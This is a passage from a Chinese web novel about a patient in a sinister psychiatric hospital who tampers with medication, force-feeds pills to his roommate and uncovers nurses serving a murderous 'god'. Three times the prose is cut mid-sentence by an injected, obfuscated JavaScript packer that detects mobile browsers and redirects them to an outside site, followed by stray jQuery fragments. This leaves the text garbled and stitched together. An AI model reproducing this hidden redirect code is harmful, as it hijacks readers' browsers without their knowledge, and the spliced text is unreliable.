在家乡,没有人会贴着他的耳朵说话,他们只会用尊敬又冒昧的声音宣告,今天他们将会带来什么愚蠢的学习计划。 在尤浅看不见的地方,祝臬的神情逐渐变得恍惚起来,他说话的声音愈发低微,他瞥了尤浅一眼,发现他并没有挪开投向前方的视线。 于是用轻飘飘、若有若无的嗓音又道。 “你是异类,ta们也是。”显然,他把尤浅给他解开药物的手段看成一种简单的小法术,祝臬确实有些惊讶,但没觉得他有多厉害。 说完这句,他就又自顾自的撕面包吃。 尤浅的手指无意识地揉揉变得温热的耳朵,他盯着前方的病人,又转动眼球睐向祝臬,若有所思…… 早上吃完饭,从九点半到十一点半,有两个小时自由活动的时间。 尤浅还是第一次参加自由活动,他望着四周高高的墙壁与铁丝网,对着最上面的尖刺发出感叹。 身边病人分成几团,有地举着泥巴打“水”仗,有地拎着同室友的头,把他团成一个圆,当球滚着玩。 还有的身披不知道从哪儿搞来的被单,已经在几个下跪的病人面前,原地登基。 但更多的还是如祝臬这种,分散在各个阴凉里,静悄悄的不说话也不动弹。 一看过去,眼神分明都是空洞的。 尤浅被太阳晒的眼前发白,于是找了个偏僻无人的角落,靠着一根粗长的树干歇着。 “咕噜~”沙鲁洼讨好又心虚的从影子里探出半个身体。 “!”他的身子Duang的一下被尤浅踩回去。 刚刚还在试图卖萌的沙鲁洼,弹性的圆球身体猛的向上一跳,随后又蔫巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299338|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴的变成一滩小地毯。 尤浅漫不经心地用脚压住沙鲁洼一根长触手,又觉得无趣,将脚掌整个挪到沙鲁洼摊开的身子上。 脚底的触感很奇妙,像踩进绵软的沼泽,他面无表情地垂眸,黑色眼睛里的紫色扩成一圈,把黑色眼珠包裹起来,颜色十分怪异。 他加大力度,狠狠地碾动几下,咧嘴露出一排整齐洁白的牙齿,到这一刻,他总算想起来他忘记什么了。 沙鲁洼自从那一宿被派出去,就一直没回来啊…… “很好,你会给我一个合理地解释的,对吧?”他欢快地弯了弯眼眸,一缕紫色顺着他的眼睛,一路滑到鞋底,尤浅又狠狠地踩了一脚。 “嗷嗷嗷!”肉眼可见的,沙鲁洼黑色的身体变得红肿,疼的他说不出话,只能蜷缩着瑟瑟发抖。 它抱着自己快要断了的触手,泪眼汪汪,却在不经意间闻到一股不对劲的味道。 有些熟悉,但它没有细想。 它知道自己做错事了,所以也不敢狡辩,也不敢愣神,只一五一十的把当天发生的全部事情道来。 那天,它追着祝臬的影子一路跑出病院大楼,在大门口有十多个病人安安静静的聚集在一块水池旁。 水池上有一块巨大的岩石,沙鲁洼想了想,它觉得岩石视野好,也容易隐藏,于是就把自己变成长条,紧紧的贴着地面,爬进水池。 等它找好方向,准备往岩石上爬时,它嗅到了一股很浓郁的香气。 那股香气简直是在赤/裸裸地诱惑它,虽然里面蕴含的力量没有在医院里吃的那一条藤蔓足,但是它真的真的很香啊! 不,不行,沙鲁洼,你是一个靠谱、成熟的沙鲁洼,不能因为贪吃而忘记任务。 绝对不会就这么被诱惑到的! 绝对不会……嗅嗅嗅,吸溜…… “……你的意思是,那块不停散发浓香、饱含能量的尸骨自己钻出土壤与水池底部的砖瓦,还非常精准的被你吃下去了?” 尤浅挑起一边唇角,露出一个充满嘲弄、戏谑意味的笑容。 沙鲁洼可怜兮兮的猛点头,可不是嘛,它只是一只弱小无助……被硬塞下食物的沙鲁洼而已,主人你真的怪错物种啦! “你找死呢?”尤浅面上的笑容瞬间消失,冷漠无情地收回脚掌,眼睛里的紫光越来越亮。 到最后紫色基本上要将黑色驱逐干净。 沙鲁洼急了,好吧,它承认它修饰了一下事实,可是它一点不想死啊啊啊! 于是它绞尽脑汁,在尤浅真的要下手弄死它时,那股味道顺着风又一次扑到它“薄弱”的身体上,它不大的小脑瓜里冒出灵光一闪。 “等一下我的主人,那个香味是「枯萎」,还有……还有动物的分支力量!” 它紧张地嗅了嗅主人的衣角,见人没反应,且眼睛里紫色的色块没有增多,才又飞快的簇拥到主人的手指上。 没错,就是这个味道! 沙鲁洼激动的紧紧包起指节,在这一刻,它看见了活着的希望:“和尊贵的主人——您身上的味道一摸一样!” 尤浅这才勾出一抹真心实意的笑,“哦?那具尸骨竟然兼具两个不同的分支力量吗?” 这倒是一个不错的发现。 他想起食堂里的老鼠,怪不得它们的血肉里也有类似的浅薄到聊胜于无的气息。 “没有下次。”尤浅捏了捏黑色“戒指”,看在它并不是毫无用处的份上,仁慈地掀过这次事情。 11. 换药 他们吃完午饭,尤浅递给沙鲁洼一个眼神,沙鲁洼心领神会地蠕动一下。 在吃下午药时,尤浅状似无意地一巴掌把盛药的小盘子打掉。 药咕噜噜地滚了一地。 王护士的手还在空中举着,等反应过来她就对上尤浅被磕红的膝盖与含着眼泪的眼睛。 “对不起,我不是故意的,我不知道为什么,一下就摔倒了。” 听见这番解释,王护士只觉得心里有些憋闷。 红色的一圈痕迹在白皙的腿上分外明显,而她对尤浅的印象还不错,所以自然而然地压下一声指责。 她蹲下身子瞧了瞧尤浅的腿,发现没什么大事后就准备就着这个姿势找药。 同时她还耐心地安慰尤浅一句:“下次小心一点哦,你的腿没有事情,可能会有些青紫,过两天就好了。” 而祝臬漠不关心地抱胸靠在墙边,他才不信尤浅是真的一不小心摔了,他更倾向于这家伙又在捣鼓着怎么搞事情。 尤浅仿佛不好意思起来,他吸了吸鼻子,有心想要弥补一般,也跟着寻找起来。 在王护士念叨着:“药滚到哪里了”时,暗地里有触须偷偷地拢着四粒胶囊,等尤浅经过这个角落,这条触须轻轻抽动,于是四粒胶囊就精准地滑到尤浅掌心。 一抹狡黠飞过,尤浅装模做样地东找西找了一会,便清清嗓子,特别开心地举起胶囊:“我全部都找到啦!” “我是找胶囊游戏的冠军——” 祝臬的唇角不受控地抽了抽,这家伙…… 但王护士就很吃这套,她温柔地揉揉尤浅的脑袋,把本就蓬松如同柳絮一样的金色发丝,揉成更为蓬松的棉花糖。 “好了好了,我再去给你们拿新的药。”她低头,掌心里的药丸上面没有明显的灰尘,但到底是在地上滚过好几圈,不干净了。 尤浅忙伸手拉住护士的胳膊,瘸着条腿的在地上蹦跶,这可不行被带走啊! 他动作急切的从她手里拿到胶囊,一手往祝臬嘴里塞,一手往自己嘴里塞,哽着脖子干咽。 这一切发生得非常快,不到三秒他就顺畅的完成这一系列动作,还腾出一只手掰着祝臬的下巴,免得他咬自己的手指。 “咳咳……”祝臬瞳孔地震,他的舌头僵硬地不知所措,往外吐也不是,不吐也不是。 胶囊脏,他不想碰,可他……他也不想咽下去啊!? 尤浅的手指顶着胶囊,不顾一切地往他嗓子眼里捅,祝臬含着手指,下巴酸疼,他目露愤恨,被捅的脑袋拼命往后靠,可后面就是墙,他跑不掉!! 祝臬干呕了两声,眼睛里面盛着生理性泪水,分泌却来不及咽的唾液顺着嘴角往下淌,察觉不妙的舌头此时也不管脏不脏了,开始抵着胶囊往外推。 他的双手也开始艰难发力,试图把尤浅推开。 “不准浪费药物!” 尤浅假惺惺的演出一副他是为了省钱的模样,但实际上他对这四粒药做了些手脚,可不能让王护士把旧的换成新的。 王护士无声尖叫,她从背后一把扯住尤浅的胳膊开始哎呦哎呦地劝阻:“胶囊不值钱啊,乖,咱没必要非得吃这四个啊!” “吃掉。”尤浅动了动嘴唇,在推搡间,刻意贴近祝臬耳朵命令道。 “咕咚——”最终祝臬还是把胶囊咽下去了。 尤浅抽出手指,放开回过神来、面如死灰的祝臬,向护士露出一抹乖巧的笑:“已经很麻烦您了,病院的话每天都有人打扫,不脏的!” 王护士一时不知道该说些什么,她抿了抿唇,最终还是决定先批评尤浅一顿。 “咱们不可以强迫别人,而且换胶囊也不费事,你下次就老老实实的,不要自作主张。”她压低声音,凶巴巴地道。 “是是是。”尤浅低眉顺眼,偷偷的在护士的衣服上蹭了蹭满是口水的手指。 王护士忍不住揉了揉脑袋,“你,哎……”瞧瞧,她在想什么,她为什么要和精神不稳定的精神病人讲道理。 她真是被一件一件的事弄累了。 “老实些,这里和你之前待的病院不一样。”她留下一句含糊不清的警告,抬手点点尤浅,又点点自己的眼睛。 示意他不要再惹事,她会一直关注这里的。 尤浅面带微笑,目送她离开。 随后,他看向缩在墙角,拼命扣嗓子的祝臬。 “安心,这不是地上的那几枚。”尤浅贴心的为他省去,这几枚虽然没有在地上滚来滚去,但被一只可以分泌黏液的触手拿了半天的事情。 可祝臬的脸仍然没什么血色,他一手撑着墙壁,另外一只手死死地抓着病服上的纽扣,肩膀在上上下下地颤抖。 他大张着嘴巴,像是呼吸不上来一样拼命地喘气,抓着布料的手指越来越用力,布料从指缝里溢出来,到最后指尖都泛着青色。 “咳咳咳……”突然他开始剧烈地咳嗽起来。 他咳得反胃,咳得恶心,咳得墙上的灰都快被震出来了。 他咳嗽的频率逐渐变得急促,中间还掺杂着他那如同破烂风箱般,呼呼费力的呼吸声。 尤浅站在祝臬身侧,漠然又好奇地看着他在难受的反应里挣扎。 独眼有些不忍,祂刚想劝劝尤浅,却被天下仙拦住。 一头黑发柔顺的披到腰间,天下仙一双眸子里含着与尤浅如出一辙的冷漠。 白衣裹着祂高挺的身躯,宽大的衣摆被风吹的猎猎作响,而他的声音也像是呼啸的寒风,凛利刺骨:“不必多管。” 独眼蹙了蹙眉,担忧地放下打字的手。 屏幕里祝臬的反应非常强烈,他的脸上汗津津一片,额角上青筋凸起,随着心跳突突地跳动。 本该红润的脸色开始泛出诡异的青紫,再把视线往下拉,因为弯着身子,脑袋顶着墙壁,拉出一个弧度的脖颈上,喉结在不住地滑动。 里面好像卡了什么东西。 祝臬的双手抓着喉咙,骨节分明的手指在上面划出一道道血痕。 里面的东西遭到惊扰,喉管外面那层薄薄的一层皮肤被撑的肿大。 他开始往外一口一口地吐着黑色血沫。 “比我想的还要严重啊。”尤浅抓了抓自己的头发,有些纠结。 感觉祝臬已经到他所能承受的极限了。 “出来吧。”就纠结的一会功夫,他眼看着祝臬的瞳孔开始涣散,心知真的不能在耽误下去了,便有些遗憾的一拍祝臬瘦弱的脊背。 祝臬因为喉咙里卡着东西,根本无法呼吸,他觉得自己的肺部在火辣辣地抽搐,眼前也仿佛炸开无数朵金色黑色的花,模糊不清。 尤浅这一巴掌,反而驱散一些裹在脸上的厚重憋闷感,令祝臬找回一丝神智。 祝臬呜呜哽咽,维持着半靠半坐的姿势,眼睛雾蒙蒙地睁大。 他的喉咙里,有东西在动……那个东西在柔嫩的内腔带着无数毛刺在挠在转动,他觉得恶心极了。 卡在喉咙里的肿块往上移动,不住地往上移动,“唔……呼,咳咳咳……”他的眼球开始不受控地乱颤,最后牙齿一开,吐出一块湿漉漉的黑色毛球。 而因为新鲜空气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299339|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大量涌入,骤然从窒息状态里脱离的祝臬被呛的开始凶狠咳嗽。 他咳的撕心裂肺,可一直以来沉重的脑袋却如同被洗干净的镜子般清醒不少。 往常昏昏沉沉、深埋海底的意识从浑浊的海水里升腾而出,它抱住一块木板,艰难地在海浪地拍打下,没有再次坠入海洋。 “咳咳咳……这,这是什么?”沉浸式咳嗽的祝臬指着那个黑色毛球,抬着毫无杀伤力的眼睛刺向尤浅。 如果他没看错,这个球刚刚动了! “哦,是沙鲁洼。”尤浅漫不经心地回答。 祝臬犹然抱着一丝希望,“什么是沙鲁洼?” “一个废物小毛球?”尤浅不走心地托着下巴,“大概。” “……”祝臬觉得自己还是不要再问了比较好。 他接受不了一点,有时候不知道也是一件好事。 祝臬从善如流地闭嘴,慢吞吞地掀开被子,把自己埋进去,完全忽视地面上晃晃悠悠蠕动的黑毛球。 被子里鼓起一个小包,他闷闷地说道:“你看不见我。” 尤浅懒散地眯起眼眸,大拇指随意地转动指向门口,黑毛球沙鲁洼伸出一根触手比划出OK的形状。 “好,我看不见你——”看着黑毛球消失,尤浅才从胸腔里漫出两声笑,懒洋洋地应声。 却不知独眼在群聊里欲言又止,如果没记错,现在很少有人类相信神秘测的东西了吧? 现在的人类接受新鲜事物的能力这么高啊,祂诧异地看向祝臬。 …… “这块石头……”尤浅蹲在水池边,边玩里面的水,边一本正经地端详着一块灰黑色、上面顶着青苔的石头。 他用湿润的手指扣了扣青苔,放到鼻尖一闻,一股腥臭味扑鼻。 独眼侧着脑袋、换着方向的观察那块石头,眼睛里浮现一缕疑惑。 独眼:这块石头……怎么看着那么像乌龟啊? 石头上的青苔是乌龟背甲与纹路,一块从上面延伸下来的凸起是脑袋,隐藏在水里的还有四块歪七扭八的大小不一样的棱角。 顺着独眼的思路去观察,除了敲钟人外,其祂神明也先后在脑子里勾勒出乌龟的形象。 尤浅看见这条消息,站远了点,围着石头绕了一圈,心想,确实是像个乌龟。 腐烂甜果贴着屏幕,有一搭无一搭地戳着聊天框下方的功能选区。 只有语音和视频通话标识亮着,红包和共享还是灰色不可用状态。 “要是能把这块大乌龟石头红包就好了。”祂戳戳红包图标感叹。 祂喜欢这块石头! 然后祂就被敲钟人扒拉到一边,敲钟人看着石头,打字输入。 敲钟人:那具尸骨里的另一股气息是动物分支力量里的「伪装色」 祂近距离的感受一番,才从残存的、不清晰的气息里得出答案。 目的达成的尤浅又伸手搅了搅水,在凉滋滋的水里滑来滑去,心情颇好的任由水流打湿他的衣服。 然后深色的地方再被太阳晒干。 他扭着头,跃过花园里树木的遮挡,似乎透过繁盛的树冠能清晰地看见那栋诊治中心。 他直直地注视着三层医生心理诊室的方向。 青年逆着光站起来,十分放松地张开双臂,脸上满满都是恶趣味与期待。 “沙鲁洼那边应该有结果了吧?” “不!” 他语气确凿地反驳自己,星星点点的笑意点亮漆黑的双眸,他又轻轻地咬字呢喃。 “是肯定有结果了。” 12. 大惊失色 不过…… 具体什么效果还要等到晚上。 尤浅聚精会神地盯了一会,除了被风吹的左右摇摆的树枝和道路外,他什么也没看见。 他遗憾地将恶意一点一点收回,垂着眼睛,无趣地掂了掂脚,太阳沿着轨迹缓缓西沉,敲钟人适时的在群里报上精准无误的时间。 敲钟人:现在是瑞华市时间下午两点二十五。 下午的自由活动时间快到了。 尤浅懒得走回去、再走回来,他干脆利落的重新坐到水池边上,波光粼粼的液体在阳光下更为剔透。 这个水池里一定很凉爽,这个念头毫无理由地出现,并霸道地占满他的思绪。 他没有驱逐这个突兀的念头,而是翘着腿,双手放在身侧,摇摇欲坠地坐在边缘。 他的重心挪动,自然地向后倒去,在落水的那一霎那,水花被砸的高高溅起,水流在瞬间侵入他的耳朵与鼻腔。 可他根本不在乎自己有没有呛到水,也不在乎衣服湿透黏在身上的感觉好不好受,他只是没有征兆地笑起来。 “哎哈哈哈,果然很凉快啊!” “所以,这就是你浑身上下湿哒哒,狼狈的和落汤鸡一样的原因吗?”祝臬指着尤浅滴滴答答、不断滴水的衣角,发出无情嘲笑。 得亏没有护士注意到,不然尤浅又要被放倒,说不定还要被关小黑屋了。 尤浅摆出一副无所谓的态度,等到活动时间结束,他才被太阳晒干,身上的衣服变成皱巴巴的样子。 太阳被云朵吞没,粉紫色的晚霞被随意涂抹在上空,稀稀拉拉的病人在护士的夹道护送下吃饭,又在护士的夹道护送下返回病房。 除了夜晚,病人似乎完全暴露在各种各样的监视目光下,尤浅躺在床上抱着枕头,自从进屋,他的眼神就没离开过祝臬。 “喂?”祝臬抗议,他已经被盯了两个小时了,那直勾勾的眼神,看的他浑身冒冷气,想忽视都忽视不了。 尤浅眼珠子动也不动的,“嗯?”他漫不经心地回应。 祝臬作怪似地蹙起整张脸,英俊的面孔被挤成一团:“我可一点都不喜欢男人,你再怎么看着我也没戏,快滚快滚。” “哦……”尤浅从善如流地收敛目光,但很快他便又透过自己一缕一缕挂在眼眉处的头发,从缝隙里将视线黏在祝臬身上:“但是我真的很好奇嘛~” 闻言,祝臬心里泛起的冷意更凉了些。 他看着居心不良的尤浅,一双狭长而薄情的双眼半眯:“我想小黑屋应该会开心地欢迎我拎包入住?” 尽管他不知道尤浅想看什么乐子,但这个乐子肯定和他息息相关,于是他直击要害,用自己来威胁尤浅。 不是很好奇吗?等他去了小黑屋,再好奇也没用了。 一听祝臬打算“鱼死网破”,尤浅果断的:“好,我闭眼。” 他装模作样地伸手捂住双眼,正巧熄灯时间也到了,走廊里准时准点地响起声声尖锐的鬼哭狼嚎。 黑暗里,尤浅再度偷偷睁眼,这么黑,悄悄看两眼也没问题吧? 他盯着祝臬的后背,美滋滋的等着那个时刻来临。 “你,在看什么呢?”黑暗里一道幽幽的声音响起。 尤浅震惊:“哇,在黑暗里你也能看的见?” 祝臬被这句话噎住,他本来只是试探一下,炸一炸尤浅,结果一炸一个准,尤浅这个混蛋还真是固执啊!? 祝臬被气笑了。 “再看我就把你的眼睛剖了!”他气急败坏,原地发疯,愤怒地拍了拍被子,颇有些歇斯底里的嘶吼道。 他愤怒地喘着气,一点也不顾及自己的形象,只觉得从心口冒出一团火,顺着血液烧的他四肢发烫。 自从熄灯,就一直有一道空灵缥缈的声音在耳边絮絮叨叨,它不知道从哪里响起,但就像无处不在的苍蝇,烦的祝臬忍不住地皱眉。 是昨天没去的前院的原因吗?祝臬攥紧拳头,在心情不稳定时,他下意识忽略自身的异样。 他看不见自己的脸,也不知道自己的脸上顺着毛孔冒出来一些绿色的小芽。 可尤浅看的真真切切,一层绿色的“细毛”密密麻麻的覆盖在整张脸上,将五官轮廓全部掩盖,就连睫毛里都挤出来几根。 哇哦!看起来好可口!! 这就是没吃药的后果吗?异端的力量因为沙鲁洼的吸收变得薄弱,又没有在下午吃药时得到补充,于是迫不及待的要把圈养的种子吃掉了吗? “咕咚……”一道吞咽口水的声音在黑暗里格外明显。 听得清清楚楚的祝捏阖眸,皮笑肉不笑地抵着后槽牙:“你在咽什么口水!?” 他掀开被子,从床上下来,步步紧逼到尤浅面前,顶着一脑袋的绿芽,眸子里都散发着绿光。 “我问你——你在咽那门子口水呢!?”他脸部狰狞,但克制着音量咆哮。 整个人都变得神经质起来,一点也没有在吃饭与平常的从容优雅。 尤浅讪笑,这不是看见好吃的没忍住嘛…… “没……没,那个啥,你是不是该出门了?”尤浅眼看祝臬不依不饶的就要上床,连忙提醒他。 “出门?”祝臬先是疑惑地上扬声调,眼神变得恍惚起来,对啊,他该出门了。 等等,他为什么一定要出门? 陷入混乱的祝臬只觉得大脑被劈成两半,一半在问他:你为什么每天雷打不动的出门,昨天没出门不也没事吗? 一半在诱惑他:你忘了神灵的能力了吗?多么神奇,值得人向往与尊崇的力量啊!你为什么不出门加入庆典呢? 祝臬僵硬地停在原地,身子转向门口,可脚步却没有踏出去。 等一下!他到底为什么会信仰一个不知道是什么东西的神啊? 祝臬在夜晚地冲击下,终于想起来这个一直被遗忘的问题,他疑惑极了。 尤浅看他走一步,退半步,走两步,退三步,走了半天也没摸到门把手,心里只觉得这块散发着美味香味的小点心在勾引自己。 他又咽了两口在口腔分泌的唾液,在内心疯狂的提醒自己,这是人类这是人类这是人类,不能吃不能吃不能吃! 绝对不能吃!尤浅艰难的把眼神拉回来。 他沮丧地垂下脑袋,戳了戳不知道什么时候回来的沙鲁洼,与它精神交流,‘这个人类体内的力量你吸收了多少?是不是又没认真干活?’ 沙鲁洼只觉得自己的主人莫名其妙,它舞动着黑色触须,弯出一个叹号。 ‘吸收了一半多,不过他太弱了,明天再来一次就没问题了!’ 尤浅环臂抱着双腿,整个人缩在一起,缩成一小团的坐在床上,脑袋靠在膝盖上,用下巴轻轻的蹭了蹭。 “祝臬,我带你去看热闹吧。” 反正这个样子……尤浅抬头看了看被绿色遮住的脸,很确信的想到,肯定没人能认出他是哪个病人。 祝臬脑子里的声音还在争吵不休,谁也说不过谁,如果它们有实体,估计早就在脑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她就怕临时接到通知,说有病人闯祸,要把病人关小黑屋,于是她在梦里想的都是怎么道歉、劝护士不要把病人关小黑屋的事情。 这也导致,她的睡眠比较浅,容易被外界的声音吵醒。 外面咚、咚、咚的脚步声沉重,时近时远,还有些错乱,王护士睡眼惺忪地推开门,就见到一个背影在前方徘徊。 “您好?您失眠了吗?”王护士贴心地放低声音,询问道。 但那个人并没有回话。 在高处的尤浅和祝臬却清晰看见,医生脸上一闪而过的挣扎。 看来药效确实是不怎么够,医生没有被完全蛊惑呢! 苍白的灯一闪一闪,穿着睡衣的背影走路姿势很奇怪,给王护士一种非人类的感觉,夜里的一缕凉风拂过她裸露在外面的皮肤,带起一串颤粟。 王护士是个坚定的无神论者,但夜幕深深,走廊里除了她自己和那道越走越远的人影外,空无一人。 窗外吱吱叫个不停的昆虫声音愈发凄凉单调。 这个氛围……王护士搓了搓自己的胳膊,又道:“您,您好?” 突然,医生转头。 “您您您,您,不好……?”王护士的眼瞳缩小,声音骤然变调,慌乱中就要往房间里退,“打,打,打扰了!” 13. 顶着绿芽的医生 只见医生的脸上已经冒出一层密密麻麻的绿芽,唯有两个眼眶黑布隆冬,浅嫩的绿色衬得黑眼珠格外幽深。 而那层绿叶和祝臬脸上的如出一辙。 尤浅不禁有些疑惑,他用胳膊肘碰了碰祝臬,声音里仍旧带着一惯的懒散,但格外轻缓。 “你们之前聚会,不会人人脸上都这样吧?” 祝臬无语地瞥了尤浅一眼,“怎么可能,这也太丑了……” 他不犯病时,情绪还挺稳定的,于是他极其自然的抬手摸了摸丝滑的绿草,就像是在摸自己的头发。 脸上的绿芽能清晰的感受到他自己的触碰,俨然是他身体的一部分。 “哎,真的好丑。”手下是凹凸不平的触感,摸过来摸过去,上面的小尖头扎的皮肤有些微疼,祝臬忧伤地叹气。 群聊里的独眼再次欲言又止,人类的精神状态现在都这么稳定的吗?祂觉得祝臬的关注点有点奇怪。 “切,他能和尤浅聊得火热,你指望他有多正常啊?”腐烂甜果一脸不屑,祂看不下去独眼纠结的模样,边啃着果子边大大咧咧地说道。 独眼一愣:“也是哦!” “这绿芽……”祝臬掐着一根小绿芽往外扥,一串血珠被带出来,他忽略针一样尖锐的疼痛,声音四平八稳:“总给我一种似曾相识的眼熟感。” 他开始回忆这两天发生的事情。 昨天一整天他都没有吃药,因为被打入镇静散力的药水,到晚上即便是药效消退,也完全提不起精神早早睡去。 今天上午的药正常吃下,而下午的药肯定被尤浅动手脚了,所以……这突如其来的异样是因为只吃了一顿药的原因? 他厌恶地连拔好几根,脸上的绿芽被血染红一大片。 血味在不大的空间里分外浓郁醇厚,尤浅吸吸鼻子,口腔里的口水不断的被分泌出来。 他眼神炽热地盯着祝臬……的脸。 “那个,我有件事想告诉你。”他不加掩饰地哄骗道。 祝臬的注意力全在拔绿芽上,于是不走心的“哦”一声,毫无防备地垂下脑袋凑过去。 一条温热湿润的长条物从上而下地舔过脸上蜿蜒的血,绿芽像是猫毛,被舔的东倒西歪。 血液被仔细地舔走,每一根草叶都被细心的尤浅关注。 祝臬眼神呆滞,他感觉自己脏了…… 那个长条物还在脸上肆无忌惮地舔着、吮吸。 尤浅怕祝臬反抗,直接双手抱着祝臬的肩膀,侧压在他身上。 而沙鲁洼的触手早在他下嘴的那一刻,就束缚住祝臬的手腕和脚踝。 这让他动弹不了,他倒是想呵斥尤浅,但下面的人让他不得不放弃这个决定。 尤浅还在“吧唧吧唧”,十分欢快地舔着,而祝臬则根本控制不住自己眼球地颤动,他的睫羽飞快地抖动,终于从一开始的冲击下缓过来神。 他的脸上湿漉漉的,全是别人的口水!? 祝臬气得脸皮发抖,绿芽又狠狠变长一截,最终他张嘴咬住尤浅近在咫尺的脸,狠狠地合上尖锐的牙齿。 他含糊不清地咕哝着:“你,个……变态……” 牙齿刺破皮肤与肉,他第一次尝到血液是什么滋味。 独眼眨了眨眼,觉得自己还是去围观医生那里吧,尤浅和祝臬的脑回路,祂真的不能理解。 在尤浅和祝臬胡闹时,王护士的叫声已经引起其她护士的注意。 一位年长、唇薄,有法令纹,看上去就不苟言笑的护士推门而出,她严肃刻板的脸在看见医生时,幅度微小地产生变化,显出一点惊讶。 随后她面无表情地瞪向王护士,和后出来的一两个年轻护士,声音冷得出奇:“关门,进去。” “是。”王护士不敢反驳,她被医生吓得够呛,很顺从地进去了。 其余护士都知道她的脾气秉性,在这种时刻也没人敢和她作对,于是很快的,外面就剩下三个人。 分别是年长的护士,戴粉帽子的护士和变异的医生。 年长护士上前快走几步拦在医生身前,戴粉色睡帽的护士和她打配合,在后面阻断医生后退的路。 “护士长,他这个症状……”像是吃药了?戴粉帽的护士有些不确定,可是病人的药怎么会被医生吃下去呢? 她又想起什么:“刚才还有别的人看见了。” 粉帽护士她知道护士长的处理方法,之前有误闯祭典现场的医生或护士,但那些人全部都被杀了,成为“神”的养料。 虽然大概率那些人都会死,但她还是率先将这一点提出来。 年长的护士长看医生的眼神就像是在看一个死人,她的眸子里闪过一丝杀意:“呵,先把医生带走,看样子有人的小心思藏不住了。” 她环顾四周,发现没人后闭了闭眼,眼眶里冒出一根藤蔓,三下两下就把医生捆起来。 她拖医生走向走廊的另一端,没过多久就离开尤浅和祝臬能看见的区域。 粉帽护士没有跟上去,她看向王护士的那扇门,手举在空中,在敲与不敲之间犹豫、挣扎。 最终她没有敲下去,而是在转身前,担忧地看了一眼禁闭的房门,摇摇头,才缓缓离开。 只留下一句音量极小的惋惜:“所以,为什么要晚上出门呢……?” 距离第一缕阳光出现,还有两个小时。 精神病院门口,一辆面包车卡在监控外,缓缓停下,就像是通往地狱的列车,敞开的车门是一张裂开的狰狞大嘴。 它把三、四个被藤蔓捆在一起,呜咽挣扎的人吞下,如潮的黑暗笼罩住他/她们瑟瑟发抖的身体。 一条细长的绿枝被风刮走,又被护士长踩在脚下碾碎。 光与暗因门口昏暗的路灯灯光,划分出一条泾渭分明的界限。 面包车的门被重重关上,在护士长冰冷无情地注视下,它载着这些人,踏上一条通往死亡的路程。 小巷内,两个人匆匆离开。 …… 脸上顶着青紫牙印的尤浅笑得毫无阴霾,他顶着陌生护士凶恶的眼神,脸上浮现一缕好奇:“你好呀,请问王姐姐呢?” 而牙印制造者——祝臬,则在床上揉着腮帮子,幽怨地瞥着尤浅,不发一言。 新来的护士没理尤浅,而是把药盘往桌子上一摔,很不耐烦的:“吃药。” 尤浅弯起来的眼眸里闪过一丝探究,药盘里多了两粒蓝色的药。 他定定地看了一眼护士,没有问药为什么多了,而是清脆地应声“好!”他借着拿药的动作和祝臬对上视线,狡黠地一挑眼眉。 祝臬的眼瞳向下一滑,随后也从床上下来,他拿起药,在往嘴边送的时候,尤浅再次开口。 “姐姐,”尤浅举起手里的胶囊,在半空中晃了晃。 护士的注意力不自觉的被尤浅的动作吸引过去,随后她蹙眉,当余光瞥见右侧的,看清祝臬手里没有药,且他正仰头喝水时,才放心的将视线重新挪回尤浅身上。 “怎么了?”她虎视眈眈地盯着尤浅,似乎在判断这个病人是不是不听话,要找借口不吃药。 尤浅用手指灵活的把玩胶囊,丝毫没有吃药的 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祝臬冷笑:“我要把她开除!”他从来没在这里见过敢这么给他甩脸色的人! 他轻哼一声,抖抖衣领,从里面找到三粒完好无缺的药,递到尤浅面前:“喏,这个你需要吗?” “你动作还挺快。”尤浅笑嘻嘻的把药摸走,掀眸看了眼祝臬,再随手把药扔到影子里,沙鲁洼不挑剔的一口吃下去:“我还以为你逃不过今天的药了呢!” 祝臬傲慢地抬了抬眼睛:“废话。”他挑起新的话题:“你刚才说你要去看医生?” 尤浅感觉自己的小腿肚被他踢了一脚,祝臬接着说道:“昨天那个脑袋长叶的医生,是不是就是你的医生啊?” “嗯啊。”尤浅不假思索地点头。 “昨天到底怎么回事啊?”祝臬好奇地追问。 走廊里传来护士的声音,又到上午自由活动的时间了。 尤浅拉着他出去排队,边往外走边说:“我把咱们吃的药打包给医生啦!贴心的沙鲁洼趁着医生午睡,直接用触手卷着药,塞到医生胃里,都不用他咽。” 祝臬按照顺序站在尤浅前面,侧着脑袋总结:“一步到胃,真省事。” “要不说呢~”尤浅笑出两颗小尖牙。 …… 医生换人了,接替那个儒雅医生的人是一个胡子拉碴的中年人。 尤浅觉得他是临时被硬拽过来充数的,连仪容仪表都没收拾利落,着实不像医生。 那身白大褂穿在他身上,就像是大人穿了小孩的衣服,紧绷绷的、胳膊和腿也短了一截。 “咳,你幻想症是吧?”他有模有样的拎起一张纸,上下一扫,粗狂而没有礼貌的道:“哦?来找我是不想吃药了?” 